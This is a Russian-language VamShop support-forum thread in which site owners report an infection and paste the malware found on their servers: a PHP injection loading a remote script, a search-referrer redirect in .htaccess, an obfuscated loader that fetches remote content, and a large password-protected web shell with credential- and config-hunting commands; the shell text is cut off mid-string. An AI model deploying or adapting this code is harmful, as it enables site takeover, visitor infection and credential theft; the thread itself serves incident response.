Перейти к содержанию
Форум поддержки пользователей VamShop

Срочно нужна помощь! Вредоносный код.


Рекомендуемые сообщения

нашел пока вот что:

в index.php был внедрен код

if(!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){

echo "<script language='JavaScript' src='http://uni33.ru/codenj.php?codenj=23311'></script>";

}

в самом низу, до include ('includes/application_bottom.php');

?>

Как такое могло произойти и как от этого уберечься?

Ссылка на сообщение
Поделиться на другие сайты
  • Ответов 62
  • Created
  • Последний ответ

Top Posters In This Topic

  • support

    20

  • mazdov

    19

  • LD_50

    9

  • YuraS

    6

Если у Вас старая версия магзаина, проверьте, у Вас есть папка /admin/includes/javascript/tiny_mce/plugins/tinybrowser ?!

Если есть, удалите.

Это старый менеджер файлов, который в текущих версиях VamShop уже давным давно не используется.

Так же есть дополнительная информация вот в этой теме - http://vamshop.ru/forum/topic/10261-%d0%bf%d0%be-%d0%bf%d0%be%d0%b2%d0%be%d0%b4%d1%83-%d0%b2%d0%b8%d1%80%d1%83%d1%81%d0%be%d0%b2-%d0%b2-%d0%bc%d0%b0%d0%b3%d0%b0%d0%b7%d0%b8%d0%bd%d0%b0%d1%85/

Ссылка на сообщение
Поделиться на другие сайты
  • 1 year later...

Два дня борюсь с непонятным вирусом. Обнаружил в ручную 2 новых файла и 1 имененный.

 

На главной странице в .htaccess добавлен вот такой вот код:

 

 

 

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>
 

И добавлены два файла, один из них: index_backup.php содержит:

 

<? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'=),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?><? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_62805507_][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}}

 

А второй файл динамичный меняет название: lbyylab.php содержит:

 

<?php $auth_pass='83f4e1e8d714731719540179ab8e7aae';function gg($i){$a=Array('','I2RmNQ==','RmlsZXNNYW4=','V2luZG93cy0xMjUx','SFRUUF9VU0VSX0FHRU5U','R29vZ2xl','U2x1cnA=','TVNOQm90','aWFfYXJjaGl2ZXI=','WWFuZGV4','UmFtYmxlcg==','Lw==','fA==','L2k=','SFRUUF9VU0VSX0FHRU5U','SFRUUC8xLjAgNDA0IE5vdCBGb3VuZA==','ZXJyb3JfbG9n','bG9nX2Vycm9ycw==','bWF4X2V4ZWN1dGlvbl90aW1l','WE1PX1ZFUlNJT04=','Mi41','WE1Pc3RyaXBzbGFzaGVz','PHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+','cGFzcw==','cGFzcw==','SFRUUF9IT1NU','SFRUUF9IT1NU','SFRUUF9IT1NU','d2lu','d2lu','bml4','c2FmZV9tb2Rl','ZGlzYWJsZV9mdW5jdGlvbnM=','Yw==','Yw==','d2lu','XA==','Lw==','XA==','Lw==','Lw==','Lw==','SFRUUF9IT1NU','YWpheA==','SFRUUF9IT1NU','YWpheA==','d2lu','TGlzdCBEaXJlY3Rvcnk=','ZGly','RmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXI=','ZGlyIC9zIC93IC9iIGluZGV4LnBocA==','RmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXI=','ZGlyIC9zIC93IC9iICpjb25maWcqLnBocA==','U2hvdyBhY3RpdmUgY29ubmVjdGlvbnM=','bmV0c3RhdCAtYW4=','U2hvdyBydW5uaW5nIHNlcnZpY2Vz','bmV0IHN0YXJ0','VXNlciBhY2NvdW50cw==','bmV0IHVzZXI=','U2hvdyBjb21wdXRlcnM=','bmV0IHZpZXc=','QVJQIFRhYmxl','YXJwIC1h','SVAgQ29uZmlndXJhdGlvbg==','aXBjb25maWcgL2FsbA==','TGlzdCBkaXI=','bHMgLWxoYQ==','bGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0=','bHNhdHRyIC12YQ==','c2hvdyBvcGVuZWQgcG9ydHM=','bmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3Rlbg==','cHJvY2VzcyBzdGF0dXM=','cHMgYXV4','RmluZA==','','ZmluZCBhbGwgc3VpZCBmaWxlcw==','ZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scw==','ZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGly','ZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scw==','ZmluZCBhbGwgc2dpZCBmaWxlcw==','ZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scw==','ZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGly','ZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scw==','ZmluZCBjb25maWcuaW5jLnBocCBmaWxlcw==','ZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHA=','ZmluZCBjb25maWcqIGZpbGVz','ZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoi','ZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGly','ZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoi','ZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXM=','ZmluZCAvIC1wZXJtIC0yIC1scw==','ZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXI=','ZmluZCAuIC1wZXJtIC0yIC1scw==','ZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXM=','ZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2Q=','ZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcg==','ZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2Q=','ZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVz','ZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dk','ZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXI=','ZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dk','ZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcw==','ZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeQ==','ZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGly','ZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeQ==','ZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVz','ZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJj','ZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXI=','ZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJj','TG9jYXRl','','bG9jYXRlIGh0dHBkLmNvbmYgZmlsZXM=','bG9jYXRlIGh0dHBkLmNvbmY=','bG9jYXRlIHZob3N0cy5jb25mIGZpbGVz','bG9jYXRlIHZob3N0cy5jb25m','bG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcw==','bG9jYXRlIHByb2Z0cGQuY29uZg==','bG9jYXRlIHBzeWJuYy5jb25mIGZpbGVz','bG9jYXRlIHBzeWJuYy5jb25m','bG9jYXRlIG15LmNvbmYgZmlsZXM=','bG9jYXRlIG15LmNvbmY=','bG9jYXRlIGFkbWluLnBocCBmaWxlcw==','bG9jYXRlIGFkbWluLnBocA==','bG9jYXRlIGNmZy5waHAgZmlsZXM=','bG9jYXRlIGNmZy5waHA=','bG9jYXRlIGNvbmYucGhwIGZpbGVz','bG9jYXRlIGNvbmYucGhw','bG9jYXRlIGNvbmZpZy5kYXQgZmlsZXM=','bG9jYXRlIGNvbmZpZy5kYXQ=','bG9jYXRlIGNvbmZpZy5waHAgZmlsZXM=','bG9jYXRlIGNvbmZpZy5waHA=','bG9jYXRlIGNvbmZpZy5pbmMgZmlsZXM=','bG9jYXRlIGNvbmZpZy5pbmM=','bG9jYXRlIGNvbmZpZy5pbmMucGhw','bG9jYXRlIGNvbmZpZy5pbmMucGhw','bG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcw==','bG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocA==','bG9jYXRlIGNvbmZpZyogZmlsZXMg','bG9jYXRlIGNvbmZpZw==','bG9jYXRlIC5jb25mIGZpbGVz','bG9jYXRlICcuY29uZic=','bG9jYXRlIC5wd2QgZmlsZXM=','bG9jYXRlICcucHdkJw==','bG9jYXRlIC5zcWwgZmlsZXM=','bG9jYXRlICcuc3FsJw==','bG9jYXRlIC5odHBhc3N3ZCBmaWxlcw==','bG9jYXRlICcuaHRwYXNzd2Qn','bG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXM=','bG9jYXRlICcuYmFzaF9oaXN0b3J5Jw==','bG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVz','bG9jYXRlICcubXlzcWxfaGlzdG9yeSc=','bG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcw==','bG9jYXRlICcuZmV0Y2htYWlscmMn','bG9jYXRlIGJhY2t1cCBmaWxlcw==','bG9jYXRlIGJhY2t1cA==','bG9jYXRlIGR1bXAgZmlsZXM=','bG9jYXRlIGR1bXA=','bG9jYXRlIHByaXYgZmlsZXM=','bG9jYXRlIHByaXY=','Y2hhcnNldA==','Y2hhcnNldA==','ZGVmYXVsdF9jaGFyc2V0','PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9','Y2hhcnNldA==','Jz48dGl0bGU+','SFRUUF9IT1NU','IC0gWE1PIA==','Y3dk','JzsNCiAgICB2YXIgYV8gPSAn','YQ==','Jw0KICAgIHZhciBjaGFyc2V0XyA9ICc=','Y2hhcnNldA==','JzsNCiAgICB2YXIgcDFfID0gJw==','cDE=','Cg==','','cDE=','JzsNCiAgICB2YXIgcDJfID0gJw==','cDI=','Cg==','','cDI=','JzsNCiAgICB2YXIgcDNfID0gJw==','cDM=','Cg==','','cDM=','JzsNCiAgICB2YXIgZCA9IGRvY3VtZW50Ow0KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KCX0NCglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCWQubWYuc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCgkJc3IoJw==','UkVRVUVTVF9VUkk=','JywgcGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgJ20nKTsNCgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOw0KCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCgkJCX0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsNCgl9DQo8L3NjcmlwdD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7YmFja2dyb3VuZC1jb2xvcjojNDQ0O3RvcDowO2xlZnQ6MDsnPg0KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+DQo8L2Zvcm0+','Y3dk','Y3dk','cg==','cw==','aHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249','TGludXg=','TGludXggS2VybmVsIA==','IA==','bmFtZQ==','dWlk','bmFtZQ==','Z2lk','','Lw==','Y3dk','PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLCI=','Lw==','IiknPg==','LzwvYT4=','VVRGLTg=','V2luZG93cy0xMjUx','S09JOC1S','S09JOC1V','Y3A4NjY=','','PG9wdGlvbiB2YWx1ZT0i','IiA=','Y2hhcnNldA==','c2VsZWN0ZWQ=','','Pg==','PC9vcHRpb24+','U2VjLiBJbmZv','U2VjSW5mbw==','RmlsZXM=','RmlsZXNNYW4=','Q29uc29sZQ==','Q29uc29sZQ==','U3Fs','U3Fs','UGhw','UGhw','U3RyaW5nIHRvb2xz','U3RyaW5nVG9vbHM=','QnJ1dGVmb3JjZQ==','QnJ1dGVmb3JjZQ==','TmV0d29yaw==','TmV0d29yaw==','YXV0aF9wYXNz','TG9nb3V0','TG9nb3V0','U2VsZiByZW1vdmU=','U2VsZlJlbW92ZQ==','','PHRoIHdpZHRoPSI=','JSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCc=','JyxudWxsLCcnLCcnLCcnKSI+','PC9hPiBdPC90aD4=','','b3M=','d2lu','Yw==','eg==','Olw=','PGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNNYW4nLCc=','Oi8nKSI+WyA=','IF08L2E+IA==','PHRhYmxlIGNsYXNzPWluZm8gY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPjx0ZCB3aWR0aD0xPjxzcGFuPlVuYW1lOjxicj5Vc2VyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOg==','b3M=','d2lu','PGJyPkRyaXZlczo=','','PC9zcGFuPjwvdGQ+','PHRkPjxub2JyPg==','IDxhIGhyZWY9Ig==','IiB0YXJnZXQ9X2JsYW5rPltleHBsb2l0LWRiLmNvbV08L2E+PC9ub2JyPjxicj4=','ICgg','ICkgPHNwYW4+R3JvdXA6PC9zcGFuPiA=','ICgg','ICk8YnI+','IDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+IA==','c2FmZV9tb2Rl','PGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pg==','PGZvbnQgY29sb3I9Z3JlZW4+PGI+T0ZGPC9iPjwvZm9udD4=','IDxhIGhyZWY9IyBvbmNsaWNrPSJnKCdQaHAnLG51bGwsJycsJ2luZm8nKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4g','WS1tLWQgSDppOnM=','PGJyPg==','IDxzcGFuPkZyZWU6PC9zcGFuPiA=','ICg=','JSk8YnI+','IA==','Y3dk','IDxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc01hbicsJw==','aG9tZV9jd2Q=','JywnJywnJywnJykiPlsgaG9tZSBdPC9hPjxicj4=','PC90ZD4=','PHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4=','PC9vcHRncm91cD48L3NlbGVjdD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+','U0VSVkVSX0FERFI=','PGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPg==','UkVNT1RFX0FERFI=','PC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPg==','PHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPg==','PC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4=','Y3dk','IDxmb250IGNvbG9yPSdncmVlbic+KFdyaXRlYWJsZSk8L2ZvbnQ+','IDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4=','DQo8L2Rpdj4NCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsIiIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSc=','Y3dk','Y3dk','Jz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc=','Y2hhcnNldA==','Y2hhcnNldA==','','','JTEuMmY=','IEdC','JTEuMmY=','IE1C','JTEuMmY=','IEtC','IEI=','cw==','bA==','LQ==','Yg==','ZA==','Yw==','cA==','dQ==','cg==','LQ==','dw==','LQ==','cw==','eA==','Uw==','LQ==','cg==','LQ==','dw==','LQ==','cw==','eA==','Uw==','LQ==','cg==','LQ==','dw==','LQ==','dA==','eA==','VA==','LQ==','PGZvbnQgY29sb3I9I0ZGMDAwMD4=','PC9mb250Pg==','PGZvbnQgY29sb3I9d2hpdGU+','PC9mb250Pg==','PGZvbnQgY29sb3I9IzI1ZmYwMD4=','PC9mb250Pg==','d2hpY2gg','PGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg==','PHNwYW4+','OiA8L3NwYW4+','Cg==','PGJyPg==','PHByZSBjbGFzcz1tbDE+','PC9wc